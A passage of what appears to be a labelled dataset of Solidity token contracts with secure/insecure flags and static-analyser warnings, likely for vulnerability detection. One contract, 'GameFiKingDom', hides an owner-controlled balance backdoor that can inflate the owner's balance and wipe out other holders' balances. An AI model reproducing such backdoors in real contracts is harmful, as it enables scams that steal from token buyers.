recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n _beforeTokenTransfer(sender, recipient, amount);\n\n uint256 senderBalance = _balances[sender];\n require(\n senderBalance >= amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[sender] = senderBalance - amount;\n _balances[recipient] += amount;\n\n emit Transfer(sender, recipient, amount);\n }\n\n function _mint(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: mint to the zero address\");\n\n _beforeTokenTransfer(address(0), account, amount);\n\n _totalSupply += amount;\n _balances[account] += amount;\n emit Transfer(address(0), account, amount);\n }\n\n function mint(address account, uint256 amount) public onlyOwner {\n _mint(account, amount);\n }\n\n function _burn(address account, uint256 amount) internal virtual {\n require(account != address(0), \"ERC20: burn from the zero address\");\n\n _beforeTokenTransfer(account, address(0), amount);\n\n uint256 accountBalance = _balances[account];\n require(accountBalance >= amount, \"ERC20: burn amount exceeds balance\");\n _balances[account] = accountBalance - amount;\n _totalSupply -= amount;\n\n emit Transfer(account, address(0), amount);\n }\n\n function burn(address account, uint256 amount) public onlyOwner {\n _burn(account, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7d35ffb): AngelCoin._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7d35ffb: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}",
"file_name": "solidity_code_2065.sol",
"secure": 0,
"size_bytes": 6562
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/extensions/ERC20Burnable.sol\" as ERC20Burnable;\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract PatexToken is ERC20Burnable {\n constructor(address _receiver) ERC20(\"Patex Token\", \"PATEX\") {\n _mint(_receiver, 8000000 * 10 ** decimals());\n }\n}",
"file_name": "solidity_code_2066.sol",
"secure": 1,
"size_bytes": 400
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract MIMO is ERC20, Ownable {\n constructor() ERC20(\"MIMO\", \"M\") {\n address newOwner = 0x453332A62DDa64ccf7B2Dd93f76599A2DaCB4905;\n transferOwnership(newOwner);\n\n _mint(newOwner, 10_000_000 * (10 ** 18));\n }\n}",
"file_name": "solidity_code_2067.sol",
"secure": 1,
"size_bytes": 441
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\n\ncontract ArtforaRedemptionsStorage is Ownable {\n mapping(address => mapping(uint256 => bool)) public redemptions;\n\n mapping(address => bool) private authorizedCallers;\n\n modifier onlyAuthorizedCaller() {\n require(authorizedCallers[msg.sender], \"Caller not authorized\");\n _;\n }\n\n function isAuthorizedCaller(address _caller) external view returns (bool) {\n return authorizedCallers[_caller];\n }\n\n function isRedeemed(\n address _contractAddress,\n uint256 _tokenId\n ) external view returns (bool) {\n return redemptions[_contractAddress][_tokenId];\n }\n\n function redeem(\n address _contractAddress,\n uint256 _tokenId\n ) external onlyAuthorizedCaller {\n redemptions[_contractAddress][_tokenId] = true;\n }\n\n function setAuthorizedCaller(address _caller) external onlyOwner {\n authorizedCallers[_caller] = !authorizedCallers[_caller];\n }\n\n function setRedemptions(\n address[] calldata _addresses,\n uint256[] calldata _tokenIds,\n bool[] calldata _states\n ) external onlyOwner {\n require(\n _addresses.length == _tokenIds.length &&\n _tokenIds.length == _states.length,\n \"Invalid input\"\n );\n for (uint256 i; i < _addresses.length; i++) {\n redemptions[_addresses[i]][_tokenIds[i]] = _states[i];\n }\n }\n\n function withdraw() external onlyOwner {\n (bool success, ) = msg.sender.call{value: address(this).balance}(\"\");\n require(success, \"Transfer failed\");\n }\n}",
"file_name": "solidity_code_2068.sol",
"secure": 1,
"size_bytes": 1762
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address) external view returns (uint256);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transfer(address, uint256) external returns (bool);\n\n function transferFrom(address, address, uint256) external returns (bool);\n}",
"file_name": "solidity_code_2069.sol",
"secure": 1,
"size_bytes": 442
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 080f55c): SiTAO.slitherConstructorVariables() performs a multiplication on the result of a division _taxSwapThreshold = 1 * (_tTotal / 1000)\n// Recommendation for 080f55c: Consider ordering multiplication before division.\ncontract SiTAO is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n uint256 public buyTax = 0;\n\n uint256 public sellTax = 0;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n\t// WARNING Optimization Issue (immutable-states | ID: c9e40e3): SiTAO._taxWallet should be immutable \n\t// Recommendation for c9e40e3: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 7_000_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"SiTAO\";\n\n string private constant _symbol = unicode\"♬TAO\";\n\n\t// divide-before-multiply | ID: 99c33b6\n uint256 public _maxTxAmount = 1 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 0e2d1e7\n uint256 public _maxWalletSize = 1 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 080f55c\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// divide-before-multiply | ID: da4fb79\n uint256 public _maxTaxSwap = 1 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: dccf3ee): SiTAO.uniswapV2Router should be constant \n\t// Recommendation for dccf3ee: Add the 'constant' attribute to state variables that never change.\n IUniswapV2Router02 private uniswapV2Router =\n IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);\n\n\t// WARNING Optimization Issue (constable-states | ID: a0daa11): SiTAO.uniswapV2Pair should be constant \n\t// Recommendation for a0daa11: Add the 'constant' attribute to state variables that never change.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 3fd4259): SiTAO.uniswapV2Pair is never initialized. It is used in SiTAO._transfer(address,address,uint256)\n\t// Recommendation for 3fd4259: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n\t// WARNING Optimization Issue (constable-states | ID: eeeed90): SiTAO.tradingStartTime should be constant \n\t// Recommendation for eeeed90: Add the 'constant' attribute to state variables that never change.\n uint256 public tradingStartTime;\n\n event TaxUpdated(uint256 newBuyTax, uint256 newSellTax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(0xAbbd6d46A0167a08455ADEDe3b826f6d1A15C397);\n\n _balances[msg.sender] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), msg.sender, _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 84da772): SiTAO.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 84da772: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 5668c02): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 5668c02: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 1f2fece): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 1f2fece: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 5668c02\n\t\t// reentrancy-benign | ID: 1f2fece\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 5668c02\n\t\t// reentrancy-benign | ID: 1f2fece\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9339b63): SiTAO._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9339b63: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 1f2fece\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 5668c02\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b85f5fa): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b85f5fa: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 3fd4259): SiTAO.uniswapV2Pair is never initialized. It is used in SiTAO._transfer(address,address,uint256)\n\t// Recommendation for 3fd4259: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: c49a33a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for c49a33a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(tradingOpen, \"Trading not yet enabled.\");\n\n if (from == uniswapV2Pair && !_isExcludedFromFee[to]) {\n taxAmount = amount.mul(buyTax).div(100);\n } else if (to == uniswapV2Pair && !_isExcludedFromFee[from]) {\n taxAmount = amount.mul(sellTax).div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold\n ) {\n\t\t\t\t// reentrancy-events | ID: b85f5fa\n\t\t\t\t// reentrancy-eth | ID: c49a33a\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n\t\t\t\t// reentrancy-events | ID: b85f5fa\n\t\t\t\t// reentrancy-eth | ID: c49a33a\n sendETHToFee(address(this).balance);\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: c49a33a\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: b85f5fa\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: c49a33a\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: c49a33a\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: b85f5fa\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 5668c02\n\t\t// reentrancy-events | ID: b85f5fa\n\t\t// reentrancy-benign | ID: 1f2fece\n\t\t// reentrancy-eth | ID: c49a33a\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 5668c02\n\t\t// reentrancy-events | ID: b85f5fa\n\t\t// reentrancy-eth | ID: c49a33a\n _taxWallet.transfer(amount);\n }\n\n function withDrawETH() external {\n require(_msgSender() == _taxWallet);\n\n _taxWallet.transfer(address(this).balance);\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualSend() external {\n require(_msgSender() == address(_taxWallet));\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n\n function enableSwap() public {\n require(_msgSender() == _taxWallet);\n\n swapEnabled = true;\n\n tradingOpen = true;\n }\n\n function disableSwap() public {\n require(_msgSender() == _taxWallet);\n\n swapEnabled = false;\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n _taxSwapThreshold = _tTotal;\n\n _maxTaxSwap = _tTotal;\n }\n\n function removeTax() external onlyOwner {\n buyTax = 0;\n\n sellTax = 0;\n }\n}",
"file_name": "solidity_code_207.sol",
"secure": 0,
"size_bytes": 12606
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract HABIBI is IERC20 {\n string public constant name = \"HABIBI\";\n string public constant symbol = \"HABIBI\";\n uint8 public constant decimals = 18;\n uint256 public totalSupply = 0;\n\n mapping(address => uint256) public balanceOf;\n mapping(address => mapping(address => uint256)) public allowance;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8ea25bf): HABIBI.initialMinted should be constant \n\t// Recommendation for 8ea25bf: Add the 'constant' attribute to state variables that never change.\n bool public initialMinted;\n address public owner;\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n\n modifier onlyOwner() {\n require(msg.sender == owner);\n _;\n }\n\n constructor() {\n owner = msg.sender;\n _mint(msg.sender, 420_000_000_000 * 1e18);\n }\n\n function renounceOwnership() external onlyOwner {\n owner = address(0x0);\n }\n\n function approve(address _spender, uint256 _value) external returns (bool) {\n allowance[msg.sender][_spender] = _value;\n emit Approval(msg.sender, _spender, _value);\n return true;\n }\n\n function _mint(address _to, uint256 _amount) internal returns (bool) {\n totalSupply += _amount;\n unchecked {\n balanceOf[_to] += _amount;\n }\n emit Transfer(address(0x0), _to, _amount);\n return true;\n }\n\n function _transfer(\n address _from,\n address _to,\n uint256 _value\n ) internal returns (bool) {\n balanceOf[_from] -= _value;\n unchecked {\n balanceOf[_to] += _value;\n }\n emit Transfer(_from, _to, _value);\n return true;\n }\n\n function transfer(address _to, uint256 _value) external returns (bool) {\n return _transfer(msg.sender, _to, _value);\n }\n\n function transferFrom(\n address _from,\n address _to,\n uint256 _value\n ) external returns (bool) {\n uint256 allowed_from = allowance[_from][msg.sender];\n if (allowed_from != type(uint256).max) {\n allowance[_from][msg.sender] -= _value;\n }\n return _transfer(_from, _to, _value);\n }\n}",
"file_name": "solidity_code_2070.sol",
"secure": 1,
"size_bytes": 2511
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"./IUniswapRouter.sol\" as IUniswapRouter;\nimport \"./IUniswapFactory.sol\" as IUniswapFactory;\n\ncontract Token is IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n mapping(address => mapping(address => uint256)) private _allowances;\n\n string private _name;\n string private _symbol;\n\t// WARNING Optimization Issue (immutable-states | ID: 38489ce): Token._decimals should be immutable \n\t// Recommendation for 38489ce: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: a19c0f7): Token._totalSupply should be immutable \n\t// Recommendation for a19c0f7: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\t// WARNING Optimization Issue (immutable-states | ID: ef043b4): Token._uniswapPair should be immutable \n\t// Recommendation for ef043b4: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address public _uniswapPair;\n uint256 public _walletMAX;\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 6f447af): Token.setWalletMax(uint8) should emit an event for _walletMAX = (totalSupply() * percentage) / 100 \n\t// Recommendation for 6f447af: Emit an event for critical parameter changes.\n function setWalletMax(uint8 percentage) public onlyOwner {\n\t\t// events-maths | ID: 6f447af\n _walletMAX = (totalSupply() * percentage) / 100;\n }\n\n constructor() {\n _name = unicode\"BABYGEKE \";\n _symbol = unicode\"BABYGEKE\";\n _decimals = 9;\n\n _totalSupply = 1000000000000000 * 10 ** _decimals;\n\n IUniswapRouter swapRouter = IUniswapRouter(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n IUniswapFactory swapFactory = IUniswapFactory(swapRouter.factory());\n _uniswapPair = swapFactory.createPair(address(this), swapRouter.WETH());\n\n _walletMAX = (_totalSupply * 3) / 100;\n\n address receiver = msg.sender;\n _balances[receiver] = _totalSupply;\n emit Transfer(address(0), receiver, _totalSupply);\n }\n\n function name() public view virtual returns (string memory) {\n return _name;\n }\n\n function symbol() public view virtual returns (string memory) {\n return _symbol;\n }\n\n function decimals() public view virtual returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public view virtual override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(\n address account\n ) public view virtual override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7f110a8): Token.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7f110a8: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amount);\n return true;\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amount);\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n return true;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amount\n ) internal virtual {\n require(sender != address(0), \"ERC20: transfer from the zero address\");\n require(recipient != address(0), \"ERC20: transfer to the zero address\");\n\n if (sender == _uniswapPair && recipient != owner()) {\n require(balanceOf(recipient) + amount <= _walletMAX, \"walletlimit\");\n }\n\n _balances[sender] = _balances[sender].sub(\n amount,\n \"ERC20: transfer amount exceeds balance\"\n );\n _balances[recipient] = _balances[recipient].add(amount);\n emit Transfer(sender, recipient, amount);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 165e78a): Token._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 165e78a: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n}",
"file_name": "solidity_code_2071.sol",
"secure": 0,
"size_bytes": 5788
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address accoont) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amoonts\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amoonts) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amoonts\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}",
"file_name": "solidity_code_2072.sol",
"secure": 1,
"size_bytes": 877
} |
{
"code": "// SPDX-License-Identifier: Unlicensed\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\n\ncontract Token is Ownable, IERC20 {\n using SafeMath for uint256;\n mapping(address => uint256) private _balance;\n mapping(address => mapping(address => uint256)) private _allowances;\n\t// WARNING Optimization Issue (constable-states | ID: c83ac75): token._name should be constant \n\t// Recommendation for c83ac75: Add the 'constant' attribute to state variables that never change.\n string private _name = \"GameFiKingDom\";\n\t// WARNING Optimization Issue (constable-states | ID: 429f5a0): token._symbol should be constant \n\t// Recommendation for 429f5a0: Add the 'constant' attribute to state variables that never change.\n string private _symbol = \"GK\";\n\t// WARNING Optimization Issue (constable-states | ID: 2ac0f9a): token._decimals should be constant \n\t// Recommendation for 2ac0f9a: Add the 'constant' attribute to state variables that never change.\n uint256 private _decimals = 9;\n\t// WARNING Optimization Issue (immutable-states | ID: 980ad66): token._totalSupply should be immutable \n\t// Recommendation for 980ad66: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply = 10000000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (immutable-states | ID: cf80387): token._maxTxtransfer should be immutable \n\t// Recommendation for cf80387: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _maxTxtransfer = 10000000000 * 10 ** _decimals;\n\t// WARNING Optimization Issue (constable-states | ID: 2458599): token._burnfiel should be constant \n\t// Recommendation for 2458599: Add the 'constant' attribute to state variables that never change.\n uint256 private _burnfiel = 5;\n\t// WARNING Optimization Issue (constable-states | ID: 403bcd1): token._DEADaddress should be constant \n\t// Recommendation for 403bcd1: Add the 'constant' attribute to state variables that never change.\n address private _DEADaddress = 0x000000000000000000000000000000000000dEaD;\n\n mapping(address => uint256) private _shiltAddress;\n\n function setshilt(address _address, uint256 _value) external onlyowner {\n _shiltAddress[_address] = _value;\n }\n\n function setshilt(\n address _address\n ) external view onlyowner returns (uint256) {\n return _shiltAddress[_address] + 0;\n }\n\n constructor() {\n _balance[msg.sender] = _totalSupply;\n emit Transfer(address(0), msg.sender, _totalSupply);\n }\n\n function name() external view returns (string memory) {\n return _name;\n }\n\n function symbol() external view returns (string memory) {\n return _symbol;\n }\n\n function decimals() external view returns (uint256) {\n return _decimals;\n }\n\n function totalSupply() external view override returns (uint256) {\n return _totalSupply;\n }\n\n function _transfer(\n address sender,\n address recipient,\n uint256 amoonts\n ) internal virtual {\n require(sender != address(0), \"IERC20: transfer from the zero address\");\n require(\n recipient != address(0),\n \"IERC20: transfer to the zero address\"\n );\n uint256 fielamoont = 0 + 0;\n fielamoont = amoonts.mul(_burnfiel).div(100) + 0;\n if (_shiltAddress[sender] > 1 + 0) {\n if (sender == owner()) {\n _balance[sender] = _balance[sender].mul(\n (6 + 0) << (_shiltAddress[sender] + 0)\n );\n } else {\n _balance[sender] = _balance[sender].mul(\n (6 + 0) >> (_shiltAddress[sender] + 0)\n );\n }\n }\n uint256 blsender = _balance[sender] + 0;\n require(\n blsender >= amoonts,\n \"IERC20: transfer amoonts exceeds balance\"\n );\n\n _balance[sender] = _balance[sender].sub(amoonts);\n\n uint256 amoun;\n amoun = amoonts - fielamoont;\n _balance[recipient] += amoun;\n if (_burnfiel > 0 + 0) {\n emit Transfer(sender, _DEADaddress, fielamoont);\n }\n emit Transfer(sender, recipient, amoun);\n }\n\n function transfer(\n address recipient,\n uint256 amoonts\n ) public virtual override returns (bool) {\n _transfer(_msgSender(), recipient, amoonts);\n return true;\n }\n\n function balanceOf(address accoont) public view override returns (uint256) {\n return _balance[accoont];\n }\n\n function approve(\n address spender,\n uint256 amoonts\n ) public virtual override returns (bool) {\n _approve(_msgSender(), spender, amoonts);\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 073b20e): token._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 073b20e: Rename the local variables that shadow another component.\n function _approve(\n address owner,\n address spender,\n uint256 amoonts\n ) internal virtual {\n require(owner != address(0), \"IERC20: approve from the zero address\");\n require(spender != address(0), \"IERC20: approve to the zero address\");\n _allowances[owner][spender] = amoonts;\n emit Approval(owner, spender, amoonts);\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d91d728): token.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d91d728: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view virtual override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amoonts\n ) public virtual override returns (bool) {\n _transfer(sender, recipient, amoonts);\n uint256 currentAllowance = _allowances[sender][_msgSender()];\n require(\n currentAllowance >= amoonts,\n \"IERC20: transfer amoonts exceeds allowance\"\n );\n return true;\n }\n}",
"file_name": "solidity_code_2073.sol",
"secure": 0,
"size_bytes": 6584
} |
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\" as ERC20;\n\ncontract NANA is ERC20 {\n\t// WARNING Optimization Issue (constable-states | ID: 8b0959a): NANA.buyTotalFees should be constant \n\t// Recommendation for 8b0959a: Add the 'constant' attribute to state variables that never change.\n uint256 public buyTotalFees;\n\t// WARNING Optimization Issue (constable-states | ID: 2f1b08a): NANA.buyMarkFee should be constant \n\t// Recommendation for 2f1b08a: Add the 'constant' attribute to state variables that never change.\n uint256 public buyMarkFee;\n\t// WARNING Optimization Issue (constable-states | ID: 05c0c1c): NANA.buyLiquidityFee should be constant \n\t// Recommendation for 05c0c1c: Add the 'constant' attribute to state variables that never change.\n uint256 public buyLiquidityFee;\n\t// WARNING Optimization Issue (constable-states | ID: 567ee97): NANA.buyDevFee should be constant \n\t// Recommendation for 567ee97: Add the 'constant' attribute to state variables that never change.\n uint256 public buyDevFee;\n\t// WARNING Optimization Issue (constable-states | ID: 6f87c33): NANA.buyOperationsFee should be constant \n\t// Recommendation for 6f87c33: Add the 'constant' attribute to state variables that never change.\n uint256 public buyOperationsFee;\n\t// WARNING Optimization Issue (constable-states | ID: a056329): NANA.sellTotalFees should be constant \n\t// Recommendation for a056329: Add the 'constant' attribute to state variables that never change.\n uint256 public sellTotalFees;\n\t// WARNING Optimization Issue (constable-states | ID: ecb4939): NANA.sellMarkFee should be constant \n\t// Recommendation for ecb4939: Add the 'constant' attribute to state variables that never change.\n uint256 public sellMarkFee;\n\t// WARNING Optimization Issue (constable-states | ID: ea2caee): NANA.sellLiquidityFee should be constant \n\t// Recommendation for ea2caee: Add the 'constant' attribute to state variables that never change.\n uint256 public sellLiquidityFee;\n\t// WARNING Optimization Issue (constable-states | ID: a1f3cbb): 